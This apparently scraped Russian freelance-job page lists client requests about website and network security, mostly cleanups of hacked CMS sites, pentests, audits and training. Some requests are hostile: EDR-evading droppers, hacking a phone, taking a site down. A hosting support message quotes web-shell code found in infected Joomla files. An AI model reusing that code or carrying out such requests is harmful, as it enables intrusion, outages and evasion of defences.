Безопасность сайта – работа для фрилансеров в России

Защитить: веб-сайт, сервер, локальную сеть. Обучение.

Защитить: веб-сайт, сервер. .

Корпоративный сайт. Платформа: WordPress. Объём сайта: 15 страниц. Не могу зайти на сайт с логином и паролем уже второй раз за месяц. В первый раз сайт был недоступен, недоступна админка, программист поменял логин, пароль на более сложные и создал кастомную страницу входа в админку, теперь сайт снова взломан, так как видимо уязвимость, через которую хакеры получили доступ, не была устранена. Прозьба устранить саму уязвимость сайта, почистить последствия взлома и восстановить доступ.

Защитить: веб-сайт. Проверьте ссылку из Узбекистана 1. Откройте URL-адрес в браузере Google на телефоне, сделайте скриншот первой открытой страницы. 2. Проверьте, как работает ссылка? Какая страница откроется первой? 3. Проверьте, находится ли домен в черном списке местной Государственной инспекции по контролю в сфере информационных технологий и телекоммуникаций. Предоставьте ответы на все вопросы. Дополнительная информация при обсуждении. Специалист должен находиться в Узбекистане.

Защитить: веб-сайт, сервер, локальную сеть, персональный компьютер. Хотел бы научиться писать инструменты для пентеста на C#, загрузчики, дропперы, работа с windows api, памятью, чтобы обоходить базовые защиты AD/EDR.

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт. Ищу индивидуальное обучение по кибербезопасности.

Защитить: сервер, веб-сайт, локальную сеть, SaaS. Задача провести технический аудит по информ безопасности, подготовить отчет, сформировать план и определиться с ресурсами по реализации плана. Вероятно помочь с поиском специалиста в штат компании. Все остальные подробности только после заключения договора и nda.

Веб-портал. Платформа: frontend app typescript. Объём сайта: 60 страниц. Необходимо проверить приложение на уязвимости, возможность прочитать информацию с чужого аккаунта, иньекции, работу ИИ в приложении.

Корпоративный сайт. Платформа: не знаю. Объём сайта: 10 страниц. Проверить безопасность сайта.

Защитить: персональный компьютер, веб-сайт, сервер, локальную сеть. М.

Защитить: сервер, веб-сайт. "Белая" проверка браузерной опен-сорс онлайн игрушки на устойчивость к угону аккаунтов NoSQL инъекциям и ДДоСу. Пожелания и особенности: Детали касательно уязвимостей обговорить лично.

Защитить: веб-сайт, авито. Отслеживать 6 аккаунтов на авито. В лс элементарно - справится школьник.

Защитить: сервер, веб-сайт. ….

Защитить: сервер, веб-сайт. Обучение appsec / веб-пентест.

Защитить: веб-сайт. Необходимо устранить утечку клиентской базы. Устранение утечки данных из crm системы.

Интернет-магазин. Платформа: не знаю. Объём сайта: 60 страниц. Безопасность.

Защитить: веб-сайт. Устранить уязвимость на сайте.

Интернет-магазин. Платформа: Bitrix24. Объём сайта: 2970 страниц. На сайт ведется спам-атака. Также наши seo-подрядчики сообщили, что сайт незащищен и надо закрывать дырки в коде. Можем выслать полный аудит Закрыть спам CALLBACK_FORM (валидация телефона, без даты в NAME, sessid, антидубль писем) Закрыть дыры в коде, защитить от возможных взломов и утечки данных.

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт. Й.

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт, Полная проверка моего телефона. Я столкнулся с незаконным взломом моего устройства, а может и в целом своей сети WI-FI. Потребую полную и детальную проверку устройств в моем доме, в том числе и сеть WI-FI, проверить телеграм, вк и прочие сети на все IP адреса, помочь найти взломщика полностью и детально. Сумму за все это вы можете указать, планируем писать заявление.

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт. Помочь со взломом телефона.

Корпоративный сайт. Платформа: WordPress. Объём сайта: 20 страниц. Необходимо вылечить зараженный сайт и устранить уязвимости.

Защитить: веб-сайт, сервер, локальную сеть, персональный компьютер. Раскрытие киберпреступления.

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт. -.

Защитить: веб-сайт, сервер, локальную сеть, персональный компьютер. Пентест внешнего + внутреннего контура компании (локальная сеть - 1 DC, 1 ADCS, 10 АРМ, внешний контур - битрикс24, сайт-лендинг, веб-приложение+мобильное приложение с единой API и БД).

Защитить: веб-сайт. Нужен преподаватель по пентесту , с опытом работы в пентесте в качестве Red Team.

Защитить: веб-сайт, сервер, локальную сеть, персональный компьютер. Хочу получить основные навыки в этой специальности.

Сайт-визитка. Платформа: Joomla. Устранить уязвимость на сайте.

Защитить: локальную сеть, персональный компьютер, сервер, веб-сайт. Провести обучение (10 ак. часов) для группы из 5 человек (взрослые), тема обучения: DLP — защита от утечек , с работой на стенде (стенд есть).

Корпоративный сайт. Платформа: Joomla. Объём сайта: 100 страниц. Сайт был взломан, нужно почистить от вредоносного ПО и восстановить работоспособность. Некоторые компоненты перестали работать.

Корпоративный сайт. Платформа: Joomla. Объём сайта: 100 страниц. Сайт был взломан, нужно почистить от вредоносного ПО и восстановить работоспособность. Некоторые компоненты перестали работать.

Корпоративный сайт. Платформа: Joomla. Объём сайта: 100 страниц. Сайт был взломан, нужно почистить от вредоносного ПО и восстановить работоспособность. Некоторые компоненты перестали работать.

Корпоративный сайт. Платформа: Joomla. Объём сайта: 100 страниц. Сайт был взломан, нужно почистить от вирусов и восстановить работоспособность. Некоторые компоненты перестали работать.

Защитить: веб-сайт. Сайт на джумле, личный на рег.ру работал нормально, но появились уязвимости, произошел видимо взлом сайта. Копии сайта нормальные у хостинга сохранились. Нужен специалист для приведения работы сайта в нормальное состояние. Список уязвимостей, которые надо устранить хостинг предоставил.

Защитить: веб-сайт. На сайт раз в день приходят заявки не существующие - звоним там сброс - с похожих номеров. Нужно сделать так, чтобы этого не было.

Защитить: веб-сайт. Смотрю цены.

Защитить: сервер, веб-сайт. Нужно провести атаку на сервер, проверить способность выдержить атаки со стороны.

Защитить: локальную сеть, сервер, веб-сайт. Нужно положить сайт. Нужно положить сайт.

Защитить: веб-сайт. Сделать 4 ctf задачи.

Защитить: веб-сайт. Ищем специалиста с практическим опытом расследования инцидентов информационной безопасности, аудита сайтов, CRM и корпоративной инфраструктуры. У нас медицинский центр в Москве. Есть обоснованное подозрение, что происходит утечка контактных данных первичных обращений. Сценарий следующий: потенциальный пациент впервые находит нашу клинику, звонит по номеру телефона, размещенному на сайте, либо оставляет заявку через форму обратной связи. После этого, нередко в течение короткого времени, ему начинают поступать звонки от других клиник, предлагающих аналогичные услуги. Необходимо определить, действительно ли происходит утечка контактных данных, установить ее источник и предложить меры по устранению проблемы. Что необходимо проверить: - сайт и серверную часть; - формы обратной связи; - CRM-систему; - телефонию и коллтрекинг; - все интеграции между сервисами; - права доступа сотрудников; - доступы подрядчиков; - журналы событий и действий пользователей; - возможные каналы экспорта или передачи контактных данных; - иные потенциальные источники утечки. Ожидаемый результат - анализ существующей инфраструктуры; - определение возможного источника утечки либо аргументированное исключение проверенных версий; - письменное заключение по результатам проверки; - рекомендации по устранению выявленных рисков; - при необходимости — помощь во внедрении мер защиты. Просьба при отклике указать - опыт расследования аналогичных случаев; - примеры реализованных проектов (без раскрытия конфиденциальной информации); - какие системы и сервисы вы планируете проверить в первую очередь; - ориентировочные сроки выполнения работ; - стоимость диагностики и стоимость полного расследования. Рассматриваем специалистов с подтвержденным опытом именно в расследовании инцидентов информационной безопасности, поиске источников утечки данных, аудите CRM, сайтов и корпоративной инфраструктуры.

Защитить: веб-сайт. Ищем специалиста с практическим опытом расследования инцидентов информационной безопасности, аудита сайтов, CRM и корпоративной инфраструктуры. У нас медицинский центр в Москве. Есть обоснованное подозрение, что происходит утечка контактных данных первичных обращений. Сценарий следующий: потенциальный пациент впервые находит нашу клинику, звонит по номеру телефона, размещенному на сайте, либо оставляет заявку через форму обратной связи. После этого, нередко в течение короткого времени, ему начинают поступать звонки от других клиник, предлагающих аналогичные услуги. Необходимо определить, действительно ли происходит утечка контактных данных, установить ее источник и предложить меры по устранению проблемы. Что необходимо проверить: - сайт и серверную часть; - формы обратной связи; - CRM-систему; - телефонию и коллтрекинг; - все интеграции между сервисами; - права доступа сотрудников; - доступы подрядчиков; - журналы событий и действий пользователей; - возможные каналы экспорта или передачи контактных данных; - иные потенциальные источники утечки. Ожидаемый результат - анализ существующей инфраструктуры; - определение возможного источника утечки либо аргументированное исключение проверенных версий; - письменное заключение по результатам проверки; - рекомендации по устранению выявленных рисков; - при необходимости — помощь во внедрении мер защиты. Просьба при отклике указать - опыт расследования аналогичных случаев; - примеры реализованных проектов (без раскрытия конфиденциальной информации); - какие системы и сервисы вы планируете проверить в первую очередь; - ориентировочные сроки выполнения работ; - стоимость диагностики и стоимость полного расследования. Рассматриваем специалистов с подтвержденным опытом именно в расследовании инцидентов информационной безопасности, поиске источников утечки данных, аудите CRM, сайтов и корпоративной инфраструктуры.

оборудование. Платформа: не знаю. Объём сайта: 1 страница. Сбросить пароли для D-link xStack DES 3200 28.

Защитить: сервер, локальную сеть, веб-сайт, персональный компьютер. Нужна консультация в онлайн формате: рассказать и привести примеры по каждому из пунктов лицензии ТЗКИ (а, б, в, г, Д, е), для чего применяются, где используется и какими средствами это достигается и какой ценовой диапазон этой услуги.

Защитить: персональный компьютер, локальную сеть, веб-сайт, сервер. .

Защитить: персональный компьютер, локальную сеть, сервер, веб-сайт. .

Защитить: веб-сайт, сервер. Тестирования устойчивости сервера.

Сайт-визитка. Платформа: WordPress. -.

Защитить: веб-сайт. Менторство.

Интернет-магазин. Платформа: Joomla. Объём сайта: 20 страниц. Комментарий от службы поддержки: Судя по всему, Ваш сайт был заражен вирусами. Прикладываю вероятные вирусные сигнатуры: ./administrator/cache/configcache.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./components/com_content/helpers/query.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./layouts/joomla/pagination/link.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./libraries/src/Cache/Storage/cachelite.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./media/system/js/core.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./plugins/system/languagefilter/override.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" ./tmp/cache_jui_39740.php "[\"php\"])){=>|eval($_POST[\"php\"]);exit;}if(isset($_POST[\"write\"])){file_put_contents($_POST[\"p" Вам необходимо проверить файлы сайтов на наличие стороннего кода, нехарактерного для вашей CMS, а также наличие посторонних файлов среди файлов сайта. Для проверки используйте утилиту AI-Bolit. Нужно провести проверку в параноидальный режиме и получить отчет, с указанием файлов, на которые необходимо обратить внимание. Полученную информацию вы можете передать профильным специалистам для дальнейшего анализа. Особенно часто вредоносный код попадает через уязвимые темы, шаблоны или плагины, установленные со сторонних ресурсов. Не используйте устаревшие версии CMS и плагинов к ним. Следите за обновлениями! Первоначальные меры, которые нужно предпринять, следующие: Обратиться к специалистам по информационной безопасности (если такая возможность есть) для более детального изучения файлов и выявления вредоносного кода, а также обнаружения уязвимости. После определения причины взлома не ограничивайтесь удалением найденных скриптов - добавленные злоумышленником точки проникновения могут быть хорошо спрятаны. Если сайт работает некорректно, то следует восстановить сайт из резервной копии в разделе Backup, предварительно закрыв доступ посетителей к нему. Восстановление сайта на дату, когда он был заражен, не исправит ситуацию. На сайте останутся точки проникновения и сами вирусы. Обновить ядро CMS, а также все плагины до последней версии. Удалить неиспользуемые темы и расширения. Проверить файл .htaccess - в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому необходимо просмотреть все директории вашего аккаунта. Найти все файлы .htaccess вы можете с помощью команды: find -name *htaccess, которую вы можете выполнить в WEB Терминале. Обязательно изменить пароли для административной панели сайта, email’ов администратора, FTP, MySQL. Желательно устанавливать сгенерированные случайным образом пароли, их сложнее подобрать. Открыть доступ к сайту.

Защитить: сервер, веб-сайт. Нужна помощь в блокировке сайта с клеверными отзывами которые никак не проверить на них нет ни контактов ни возможности связаться с автором и это явно заказная история.